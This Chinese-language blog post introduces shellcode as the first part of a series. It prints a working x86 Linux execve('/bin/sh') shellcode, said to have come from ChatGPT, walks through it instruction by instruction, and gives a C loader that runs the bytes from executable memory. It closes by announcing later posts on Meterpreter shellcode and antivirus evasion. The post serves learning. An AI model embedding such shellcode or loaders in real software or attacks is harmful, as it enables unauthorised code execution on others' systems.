#> RESTKHZ _

休止千鹤 | 我依旧是一名平凡的学生

Shellcode初探[1]: 什么是shellcode? 用chatGPT构造简易shellcode

  休止千鹤  |    17/04/2023

前言

我可能又要开一个系列文, 希望这次不要太监了.
最近正在重新自学一些比较二进制的东西. 一边学一边探索. 并且做一些记录分享给各位.
这个系列可能会需要你具备一点前置知识:

  1. 一点点的计算机架构知识,比如: 函数是如何被调用的, 栈是什么, 常用寄存器之类的.
  2. 一点点的操作系统知识.
  3. 一点点的汇编基础
  4. 一点点的C基础

什么是shellcode?

通俗的说,编译好的程序就像是一定格式的剧本。不同操作系统通常支持不同的剧本格式。比如windows就是PE,后缀是exe的那个玩意儿,Linux是ELF。而不同CPU架构主要可以理解为剧本语言上的不同。

当一个程序被启动后,“剧本”就被加载进内存,CPU会一条一条去按着剧本内容去演出。CPU怎么知道当前演到哪一条呢?CPU有寄存器,可以记住一些信息,比如x86架构中,就有一个叫做EIP的寄存器。这个寄存器会记住现在演到哪里了。

当然,很多程序会需要从用户那边读取数据,然后把数据放在内存中。等等哈,内存这下岂不是又存着剧本,又存着用户输入了?如果……我们故意让用户输入覆盖掉原本的指令,并且让EIP寄存器恰好指向那里,去执行那些指令,诶?我们这不就篡改了剧本,夺舍这个程序,让这个程序变成傀儡?如果这个程序还具有一定的权限,岂不是为所欲为“?

那这个发过去的,具有攻击意图的用户输入,我们就叫payload。攻击载荷。等等,这和shellcode有什么关系?

嗯…很多人分不清shellcode和payload. 其实也算是一个历史原因. 现在shellcode和payload的界限也不是很明确.

早年在溢出漏洞横行的年代, 有些比较严重的漏洞可以允许我们控制指令指针寄存器(比如x86的EIP)指向的地址, 并且可以在内存中写入我们的恶意代码. 那么我们就可以控制目标的机器, 把指令寄存器指向我们写入的代码区域, 运行我们写入内存的指令.

运行什么指令呢? 跑跑一个两个命令又不过瘾, 每次执行完了还得再构造一遍, 而后再利用一遍漏洞, 这太麻烦, 怎么办? 运行一个/bin/sh直接接过来, 我们直接操作终端不好么?
于是这种能够获得一个shell的代码, 就被成为shellcode了. 由于写进内存, 由CPU直接运行, shellcode基本上都是机器码.
随着各种技术, 比如栈保护, NX, 地址随机化, 代码规范和各种不同的语言出现,这类漏洞越来愈少.
而我们也用上了像metasploit这样的大家伙, 它生成的meterpreter也被称为shellcode, 但是功能上已经不再是单纯获取一个shell而已. 所以到底什么是shellcode? 这个界限越来越模糊.

所以,payload是你发向目标的, 可以帮助你达成某些攻击目的的东西. 可以是SQL, 可以是jar, 可以是各种各样的东西, 承载着你攻击的目的而发出去的东西.
而shellcode通常就是上文说的那一段机器码, 目的是get shell, 或者获取一种暂时连接的, 方便攻击者执行任意命令的会话.(我认为)

shellcode应该是payload的子集.

最简单的例子

我们来看一个shellcode, 你可以动手编一段代码, 然后用各种手段编译成机器码, 或者……

问chatGPT, 给你一个

题外话插一句, chatGPT真的是一位很好的老师, 还真就什么都知道. 所以, 你有问题就问他, 他会解释给你听. 尽管偶尔有点错误但也八九不离十.

chatGPT给了我一个非常简单的示例, x86平台, 针对linux系统.

以下这段shellcode将调用execve系统调用来执行/bin/sh,从而打开一个shell

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

我这里说一下execve(), 就是可以直接把一个新的程序加载在当前程序的内存中. 你简单理解为”夺舍”就行. 这个情况就是让/bin/sh附身到当前用execve召唤它的进程上.

这是参数:

int execve(const char *pathname, char *const _Nullable argv[],
                  char *const _Nullable envp[]);

在汇编的角度看函数调用, 我们需要提前把一些参数压入栈, 有些参数也可以通过寄存器传递. 函数返回值也需要占用一个寄存器.

chatGPT给了我以上代码每一行的解释. 不过在解释之前, 为了你读着方便, 我插一个图.

我们可以使用一个非常好的逆向工具, 叫做cutter来分析这段shellcode.
简单提一下, 这个工具可以静态分析, 也可以动态分析. 还可以反编译.

把以上的shellcode直接复制粘贴进启动页面shellcode栏, 我们便可以分析.
cutter分析shellcode

  1. \x31\xc0:XOR EAX, EAX;将EAX寄存器的值与自身进行异或,将EAX清零。
  2. \x50:PUSH EAX;将EAX寄存器的值(0)压入栈。
  3. \x68\x2f\x2f\x73\x68:PUSH 0x68732f2f;将字符串//sh的ASCII编码压入栈。
  4. \x68\x2f\x62\x69\x6e:PUSH 0x6e69622f;将字符串/bin的ASCII编码压入栈。
  5. \x89\xe3:MOV EBX, ESP;将栈顶指针(ESP)的值复制到EBX寄存器,这样EBX将指向字符串/bin//sh。
  6. \x50:PUSH EAX;再次将EAX(0)压入栈,作为execve系统调用参数列表的终止符。
  7. \x53:PUSH EBX;将EBX的值(指向/bin//sh的指针)压入栈。
  8. \x89\xe1:MOV ECX, ESP;将栈顶指针(ESP)的值复制到ECX寄存器,这样ECX将指向参数列表的起始位置。
  9. \x31\xd2:XOR EDX, EDX;将EDX寄存器的值与自身进行异或,将EDX清零。EDX将作为execve系统调用的环境参数传递给内核。
  10. \xb0\x0b:MOV AL, 0x0B;将0x0B(即11,代表execve系统调用)放入AL寄存器(EAX的低字节)。
  11. \xcd\x80:INT 0x80;通过中断0x80触发系统调用

逐行理解, 不知道你读懂了没有.

问题来了, 我们如何运行这段shellcode呢?

加载并运行shellcode

我们需要把以上的shellcode放进一段可执行内存, 并且让程序去执行这段内存. 具体点, 就是:

  1. 在Linux中我们可以用mmap让系统为我们分配一小块内存, 标记为可以执行.
  2. 我们可以用memcpy把shellcode复制进那块内存.
  3. 定义一个函数指针, 也就是把那块有shellcode的内存作为一个函数.
  4. 调用上面写好的函数, 让机器去执行那段代码.
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

int main() {
    // 将shellcode转换为字节数组
    unsigned char shellcode[] = \
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

    // 计算shellcode的长度
    size_t shellcode_length = sizeof(shellcode) - 1;

    // 分配内存并设置为可读、可写、可执行
    void *memory = mmap(NULL, shellcode_length, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    // 将shellcode复制到分配的内存中
    memcpy(memory, shellcode, shellcode_length);

    // 定义一个函数指针,指向我们分配的内存(即shellcode)
    void (*shellcode_func)() = (void (*)())memory;

    // 调用shellcode_func,执行shellcode
    shellcode_func();

    return 0;
}

然后我们可以用gcc编译它,

gcc -m32 -o shellcode_test shellcode_test.c
./shellcode_test

运行这段程序, 我们将会看到我们的程序成了sh.

那么我们的shellcode被藏在什么地方了呢?
Linux中可执行文件的格式叫ELF. ELF有很多”段”, 结构非常复杂.

由于我们在C代码中, 把shellcode定义成了一个字符串. 所以在编译以后被写进了.rodata段. 一般静态数据都会写进.data, .rodata的ro是read only的意思.

我们可以用readelf -S命令找到.rodata的地址. 本例在0x00002000
rodata

我们用工具Cutter中的Hexdump看看, 具体位置在0x00002010:
cutter-hexdump

看看反汇编呢?

cutter-disa

总结

本篇简单讲了一下什么是shellcode, 怎么加载一段shellcode.
实战中并不会怎么直接把shellcode直接丢进代码编译.

在后面的文章中我们会探究如何使用meterpreter的shellcode并且进行简单的免杀
先是linux, 而后是windows.

Shellcode初探[2]: 构造meterpreter shellcode并简单免杀(Linux)

Shellcode初探[3]: Meterpreter shellcode在windows中免杀, 绕过杀软


Views:

 Comments


(no comments...maybe you can be the first?)